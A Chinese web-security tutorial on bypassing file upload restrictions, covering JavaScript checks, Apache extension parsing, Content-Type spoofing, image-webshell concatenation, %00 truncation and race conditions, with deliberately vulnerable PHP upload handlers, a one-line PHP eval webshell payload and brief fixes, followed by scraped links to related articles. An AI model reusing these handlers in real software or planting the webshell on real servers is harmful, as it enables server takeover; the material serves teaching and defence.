在现代互联网的Web应用程序中,上传文件是一 种常见的功能,因为它有助于提高业务效率,比如企业的OA系统,允许用户上传图片、视频、头像和许多其他类型的文件。然而向用户提供的功能越多,Web应用受到攻击的风险就越大,如果Web应用存在文件上传漏洞,那么恶意用户就可以利用文件上传漏洞将可执行脚本程序上传到服务器中,获得网站的权限,或者进一步危害服务器。

上传文件时,如果服务端代码末对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、 aspx、 php、 jsp等格式的文件)。

非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShel脚本称为一种网页后门,WebShel脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。


JS检测绕过攻击

JS检测绕过上传漏洞常见于用户选择文件上传的场景,如果上传文件的后缀不被允许,则会弹框告知,此时上传文件的数据包并没有发送到服务端,只是在客户端浏览器使用JavaScript对数据包进行检测。

这时有两种方法可以绕过客户端JavaScript的检测。

  • 使用浏览器的插件,删除检测文件后缀的JS代码,然后上传文件即可绕过。
  • 首先把需要上传文件的后缀改成允许上传的,如jpg、png等,绕过JS的检测,再抓包,把后缀名改成可执行文件的后缀即可上传成功,如下图所示。



客户端上传文件的HTML代码如下所示,在选择文件时,会调用JS的selectFile函数,函数的作用是先将文件名转换为小写,然后通过substr获取文件名最后一个点号后面的后缀(包括点号)。如果后缀不是"jpg" ,则会弹框提示“请选择jpg格式的照片上传”。

<html>
<head>
<meta charset="utf-8">
<title>JS检查文件后缀</title>
</head>
<body> <script type="text/javascript">
function selectFile(fnUpload) {
var filename = fnUpload.value;
var mime = filename.toLowerCase().substr(filename.lastIndexOf("."));
if(mime!=".jpg")
{
alert("请选择jpg格式的照片上传");
fnUpload.outerHTML=fnUpload.outerHTML;
}
}
</script> <form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" onchange="selectFile(this)" />
<br />
<input type="submit" name="submit" value="submit" />
</form> </body>
</html>

服务端处理上传文件的代码如下所示。如果上传文件没出错,再通过file_exists判断在upload目录下文件是否已存在,不存在的话就通过move_uploaded file将文件保存到upload目录。此PHP代码中没有对文件后缀做任何判断,所以只需要绕过前端JS的校验就可以上传WebShell.

<?php

  if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />"; if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
} ?>

文件名后缀绕过攻击

文件后缀绕过攻击是服务端代码中限制了某些后缀的文件不允许上传,但是有些Apache是允许解析其他文件后缀的,例如在httpd.conf中, 如果配置有如下代码,则能够解析php和phtm|文件。

AddType application/x-httpd php.php.phtml

所以,可以上传一个后缀为phtml的WebShell, 在Apache的解析顺序中,是从右到左开始解析文件后缀的,如果最右侧的扩展名不可识别,就继续往左判断,直到遇到可以解析的文件后缀为止,所以如果上传的文件名类似1.php.xxxx,因为后缀xxxx不可以解析,所以向左解析后缀php。

服务端处理上传文件的代码如下所示。通过函数pathinfo () 获取文件后缀,将后缀转换为小写后,判断是不是"php" ,如果上传文件的后缀是php,则不允许上传,所以此处可以通过利用Apache解析顺序或上传phtml等后缀的文件绕过该代码限制。

<?php

  if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{ $info=pathinfo($_FILES["file"]["name"]);
$ext=$info['extension'];//得到文件扩展名 if (strtolower($ext) == "php") {
exit("不允许的后缀名");
} echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />"; if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
} ?>

文件类型绕过攻击

在客户端上传文件时,通过Burp Suite抓取数据包,当上传一个php格式的文件时,可以看到数据包中Content-Type的值是application/octet stream,而上传jpg格式的文件时,数据包中Content Type的值是image/jpeg。





如果服务端代码是通过Content-Type的值来判断文件的类型,那么就存在被绕过的可能,因为Content-Type的值是通过客户端传递的,是可以任意修改的。所以当上传一个php文件时, 在Burp Suite中将Content-Type修改image/jpeg,就可以绕过服务端的检测。

服务端处理上传文件的代码如下所示,服务端代码判断$_FILES["file"]["type"]是不是图片的格式(image/gif, image/jpeg, image/pjpeg),如果不是,则不允许上传该文件,而$_FILES["file"]["type"]是客户端请求数据包中的Content-Type,所以可以通过修改Content-Type的值绕过该代码限制。

<?php

  if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{ if (($_FILES["file"]["type"] != "image/gif") && ($_FILES["file"]["type"] != "image/jpeg")
&& ($_FILES["file"]["type"] != "image/pjpeg")){
exit($_FILES["file"]["type"]);
exit("不允许的格式");
} echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />"; if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
} ?>

在PHP中还存在一种相似的文件上传漏洞,PHP函数getimagesize ()可以获取图片的宽、高等信息,如果上传的不是图片文件,那么getimagesize()就获取不到信息,则不允许上传,代码如下所示。

<?php

  if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
if(!getimagesize($_FILES["file"]["tmp_name"])){
exit("不允许的文件");
} echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />"; if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
} ?>

但是,我们可以将一个图片和一 个WebShell合并为一个文件,例如使用以下命令。

cat image.png webslell.php > image.php

此时,使用getimagesize () 就可以获取图片信息,且WebShell的后缀是php,也能被Apache解析为脚本文件,通过这种方式就可以绕过getimagesize()的限制。

文件截断绕过攻击

截断类型:PHP %00截断。

截断原理:由于00代表结束符,所以会把00后面的所有字符删除。

截断条件: PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态。

如图所示,在上传文件时,服务端将GET参数jieduan的内容作为上传后文件名的第一部分,然后将按时间生成的图片文件名作为上传后文件名的第二部分。

修改参数jieduan为1.php%00.jpg,文件被保存到服务器时,%00会把"jpg"和按时间生成的图片文件名全部截断,那么文件名就剩下1.php,因此成功上传了WebShel脚本。

服务端处理上传文件的代码如下所示,程序使用substr获取文件的后缀,然后判断后缀是否是flv、swf、mp3、mp4、3gp、zip、rar、gif、jpg、png、bmp中的一种,如果不是,则不允许上传该文件。但是在保存的路径中有$_REQUEST['jieduan'],那么此处可以利用00截断尝试绕过服务端限制。

<?php
error_reporting(0); $ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
$file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
//exit($_FILES['file']['name']);
if(in_array($file_ext,$ext_arr))
{
$tempFile = $_FILES['file']['tmp_name'];
// 这句话的$_REQUEST['jieduan']造成可以利用截断上传
$targetPath = "upload/".$_REQUEST['jieduan'].rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($tempFile,$targetPath))
{
echo '上传成功'.'<br>';
echo '路径:'.$targetPath;
}
else
{
echo("上传失败");
} }
else
{
echo("不允许的后缀");
} ?>

在多数情况下,截断绕过都是用在文件名后面加上HEX形式的%00来测试,例如filename='1.php%00jpg',但是由于在php中,$ FILES['file']['name']在得到文件名时,%00之后的内容已经被截断了,所以$_FILES['file']['name'] 得到的后缀是php,而不是php%00.jpg, 因而此时不能通过if(in_array($file_ext, $ext_arr))的检查。

竞争条件攻击

一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含WebShel脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差(因为要执行检查文件和删除文件的操作),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。攻击者先上传一个WebShel脚本10.php, 10.php的内容是生成一个新的WebShelI脚本shell.php, 10.php的代码如下所示。

<?php
fputs (fopen ('../shell.php', 'w'),'<?php @eval ($_POST[a]) ?>') ;
?>

当10.php上传成功后,客户端立即访问10.php,则会在服务端当前目录下自动生成shell.php,这时攻击者就利用时间差完成了WebShell的上传。

<?php

  if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{ echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />"; if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
//为了说明,这里直接让程序sleep 10s。
sleep("10");
unlink("upload/" . $_FILES["file"]["name"]); }
} ?>

程序获取文件$_FILES ["file"] ["name"] 的代码如上,先判断upload目录下是否存在相同的文件,如果不存在,则直接上传文件,在判断文件是否为WebShell时,还有删除WebShell时,都是需要时间来执行的,如果我们能在删除文件前就访问该WebShell,那么会创建一个新的WebShell,从而绕过该代码限制。

文件上传修复建议

  • 通过白名单的方式判断文件后缀是否合法。
  • 对上传后的文件进行重命名,例如rand(10, 99).date("YmdHis")."jpg"。

文件上传限制条件(JS、后缀、文件名、类型、截断)绕过及修复建议的更多相关文章

  1. 文件上传ajaxfileupload.js插件

    Html:  <div class="container">         <form id="form" runat="serv ...

  2. 文件上传以及JS链式结构

    文件上传: 文件上传使用FileUpload控件,使用控件的SaveAs方法,需要绝对路径. 获取文件的绝对路径:Server.MapPath(相对路径); 或许要上传文件的本身名字用.FileNam ...

  3. 项目二、自定义文件上传函数(js函数)

    /** * 文件上传工具 v1.0 * @param file 要上传的文件 * @param url 要上传到的路径 * @param div 要显示的区域 */ function uploader ...

  4. 文件上传大小js判断

    function fileChange(target) { var fileSize = 0; if (isIE && !target.files) { var filePath = ...

  5. ctfhub技能树—文件上传—双写后缀

    双写后缀绕过 用于只将文件后缀名,例如"php"字符串过滤的场合: 例如:上传时将Burpsuite截获的数据包中文件名[evil.php]改为[evil.pphphp],那么过滤 ...

  6. 多文件上传 file-uploader.js

    插件暴露给用户可以设置的参数 插件构成 声明一个全局对象qq,在对象上封装几个方法,类似JQUERY的方法 qq.extend 合并对象属性,类似$.extend() qq.indexOf 获取元素索 ...

  7. 文件上传(js, C#)

    ajaxFileUpload http://www.cnblogs.com/kissdodog/archive/2012/12/15/2819025.html

  8. Spring MVC 学习总结(五)——校验与文件上传

    Spring MVC不仅是在架构上改变了项目,使代码变得可复用.可维护与可扩展,其实在功能上也加强了不少. 验证与文件上传是许多项目中不可缺少的一部分.在项目中验证非常重要,首先是安全性考虑,如防止注 ...

  9. MVC文件上传与下载

    MVC文件上传与下载 MVC文件上传与下载 想想自己从毕业到工作也有一年多,以前公司的任务的比较重,项目中有的时候需要用到什么东西都去搜索一下,基础知识感觉还没有以前在学校中的好.最近开始写博客,真的 ...

随机推荐

  1. 第3篇 Scrum 冲刺博客

    1.站立会议 照骗 进度 成员 昨日完成任务 今日计划任务 遇到的困难 钟智锋 确定客户端和服务器通信的形式 重新设计项目执行流程 我的规划过于混乱,对应难以同步开发 庄诗楷 绘制棋盘 游戏窗口的制作 ...

  2. Spring boot程序的部署及运行

    将 spring boot 应用程序打包成 jar 包 我们使用 spring boot 的 maven 插件来构建管理整个应用程序,使用 mvn package 将应用程序打包成一个 jar 包 将 ...

  3. IDEA创建动态Web项目

    1.IDEA创建动态Web项目 1.1.使用IDEA创建动态Web项目,选择Java Enterprise,记得选择服务器,我这里使用的时tomcat 1.2记得勾选Web Application,其 ...

  4. LR与LR?

    目录 逻辑回归与线性回归 逻辑回归 1.建立目标函数 2. 梯度求解 3. 实现 线性回归 1. 建立目标函数 2. 求解 3. 实现 逻辑回归与交叉熵 逻辑回归与线性回归 逻辑回归 线性回归 目标函 ...

  5. 一次完整的JVM堆外内存泄漏故障排查记录

    前言 记录一次线上JVM堆外内存泄漏问题的排查过程与思路,其中夹带一些JVM内存分配机制以及常用的JVM问题排查指令和工具分享,希望对大家有所帮助. 在整个排查过程中,我也走了不少弯路,但是在文章中我 ...

  6. 医疗seo常用的图标工具

    http://www.wocaoseo.com/thread-304-1-1.html 下面是一些医疗seo常用的一些图表工具,这些都是些最简单的工具,主要放置这里以防止以后有作用. 1,医疗的常用搜 ...

  7. 使用Arcgis时,在sde空间库常用的相关函数

    一.Oracle库中配置好sde空间库常见的场景 1.在sde库中创建表:community 创建表:community 字段:id(INTEGER), shape(ST_GEOMETRY) 2.往s ...

  8. 攻防世界——Misc新手练习区解题总结<2>(5-8题)

    第五题gif: 下载附件后,解压得到这样一个文件 几经寻找无果后,发现是不是可以将gif中的黑白图片看做二进制的数字,进而进行解密 最后用二进制转文本得到flag 第六题掀桌子: 看起来是16进制的密 ...

  9. 基于canal的client-adapter数据同步必读指南

    本文将介绍canal项目中client-adapter的使用,以及落地生产中需要考虑的可靠性.高可用与监控报警.(基于canal 1.1.4版本) canal作为mysql的实时数据订阅组件,实现了对 ...

  10. 深入了解Netty【四】IO模型

    引言 IO模型就是操作数据输入输出的方式,在Linux系统中有5大IO模型:阻塞式IO模型.非阻塞式IO模型.IO复用模型.信号驱动式IO模型.异步IO模型. 因为学习Netty必不可少的要了解IO多 ...